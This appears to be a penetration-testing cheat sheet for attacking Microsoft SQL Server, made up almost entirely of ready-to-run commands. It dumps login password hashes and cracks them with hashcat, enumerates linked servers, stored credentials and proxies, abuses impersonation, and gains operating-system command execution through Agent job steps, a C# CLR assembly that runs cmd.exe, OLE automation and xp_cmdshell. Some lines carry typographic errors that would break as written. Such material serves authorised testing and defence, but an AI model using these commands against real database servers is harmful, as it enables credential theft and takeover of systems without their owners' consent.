MS SQL
SELECT name + ':' + CONVERT(VARCHAR(MAX), password_hash, 1) AS formatted_output FROMmaster.sys.sql_logins;
Linked Servers
-- query for linked servers
SELECT name, data_source, provider_string, catalogFROM sys.serversWHERE is_linked = 1;
-- Execute via open Query
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT * FROM DatabaseName.SchemaName.TableName');
-- Direct query execute
SELECT * FROM [LinkedServerName].[DatabaseName].[SchemaName].[TableName];
SELECT name + ':' + CONVERT(VARCHAR(MAX), password_hash, 1) AS formatted_output
FROM master.sys.sql_logins;
hashcat -m 1731 password_hash.txt pass --username -O
Proxies
-- check for credentials:
select * from msdb.sys.credentials;
-- check for setup proxies:
select * from msdb.dbo.sysproxies;
Linked Servers:
-- query for proxies
SELECT p.name AS ProxyName, c.name AS CredentialName FROM msdb.dbo.sysproxies p
JOIN sys.credentials c ON p.credential_id = c.credential_id;
Impersonation
-- check for impersonation
SELECT grantee_principal.name AS Grantee, grantor_principal.name AS Grantor, p.class_desc, p.permission_name, p.state_desc
FROM sys.database_permissions pJOIN sys.database_principals grantee_principal ON p.grantee_principal_id = grantee_principal.principal_id
JOIN sys.database_principals grantor_principal ON p.grantor_principal_id = grantor_principal.principal_id
WHERE p.type = 'IMPERSONATE';
-- Execute query
EXECUTE AS USER = 'username';
SELECT CURRENT_USER AS ImpersonatedUser;
Code Execution:
Agents:
-- query Agents (Requires SA)
USE msdb;
GOSELECT j.job_id AS JobID, j.name AS JobName, j.enabled AS IsEnabled, j.description AS JobDescription, j.date_created AS DateCreated, j.date_modified AS DateModified, s.name AS OwnerName, c.name AS CategoryName, j.originating_server AS OriginatingServer
FROM sysjobs j
INNER JOIN syscategories c ON j.category_id = c.category_id
INNER JOIN syslogins s ON j.owner_sid = s.sid
ORDER BY j.name;
-- Add job step
EXEC msdb.dbo.sp_add_jobstep
@job_name = N'JobName',
@step_name = N'Xnjsdf',
@subsystem = N'PowerShell', -- can also be
command = N'whoami > C:\Temp\whoami.txt',
Proxies:
-- Stored credentials
select name, create_date, credential_identity as credential, modify_date from msdb.sys.credentials;
-- Add system proxy
EXEC msdb.dbo.sp_add_proxy @proxy_name = 'proxyName', @credential_name = 'CredentialName', @enabled = 1;
-- System Proxies
SELECT p.proxy_id,p.name AS ProxyName,c.name AS CredentialName,p.enabled FROM msdb.dbo.sysproxies AS p JOIN msdb.sys.credentials AS c ON p.credential_id = c.credential_id;
-- delete proxy
EXEC msdb.dbo.sp_delete_proxy @proxy_name = 'ProxyName';
-- Query What has actions have been assigned to a proxy
USE msdb;
SELECT p.name AS ProxyName, s.subsystem AS SubsystemName FROM dbo.sysproxies p
JOIN dbo.sysproxysubsystem ps ON p.proxy_id = ps.proxy_id
JOIN dbo.syssubsystems s ON ps.subsystem_id = s.subsystem_id
WHERE p.name = N'ProxyName';
-- assign powershell permissions to agent
EXEC msdb.dbo.sp_grant_proxy_to_subsystem
@proxy_name = N'ProxyName',
@subsystem_id = 12;
-- 1: ActiveScripting (VBScript, JScript)
-- 2: CmdExec
-- 8: Transact-SQL
-- 9: ANSISQL
-- 11: SSIS
-- 12: PowerShell
-- Add Job Step
EXEC msdb.dbo.sp_add_jobstep
@job_name = N'JobName',
@step_name = N'StepName',
@subsystem = N'CmdExec’, -- or PowerShell
@command = N'whoami > C:\Temp\whoami.txt',
@proxy_name = N'ProxyName'; -- Use the created proxy
Common Language Runtime:
-- check
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- enable CLR
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
Create DLL in visual studio:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void RunCmd(string command)
{
Process proc = new Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + command;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlContext.Pipe.Send(proc.StandardOutput.ReadToEnd());
proc.WaitForExit();
proc.Close();
}
}
Upload and execute code:
CREATE ASSEMBLY RunCmdAssembly
FROM 'C:\Path\To\Your\Assembly\RunCmdAssembly.dll'
WITH PERMISSION_SET = EXTERNAL_ACCESS;
CREATE PROCEDURE RunCmd
@command NVARCHAR(4000)
AS EXTERNAL NAME RunCmdAssembly.StoredProcedures.RunCmd;
EXEC RunCmd ‘CMD';
Object Linking and Embedding (OLE):
-- check configuration
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- enable OLE
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
--Execute OLE command
DECLARE @ole INT, @hr INT;
DECLARE @cmd NVARCHAR(4000), @output NVARCHAR(4000);
EXEC @hr = sp_OA Create 'WScript.Shell', @ole OUT;
IF @hr <> 0
PRINT 'Error Creating OLE Object’;
SET @cmd = 'cmd /c dir’;
EXEC @hr = sp_OAMethod @ole, 'Exec', NULL, @cmd;
IF @hr <> 0
PRINT 'Error Executing Command’;
EXEC @hr = sp_OADestroy @ole;
IF @hr <> 0
PRINT 'Error Destroying OLE Object';
XP_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'dir';
Last updated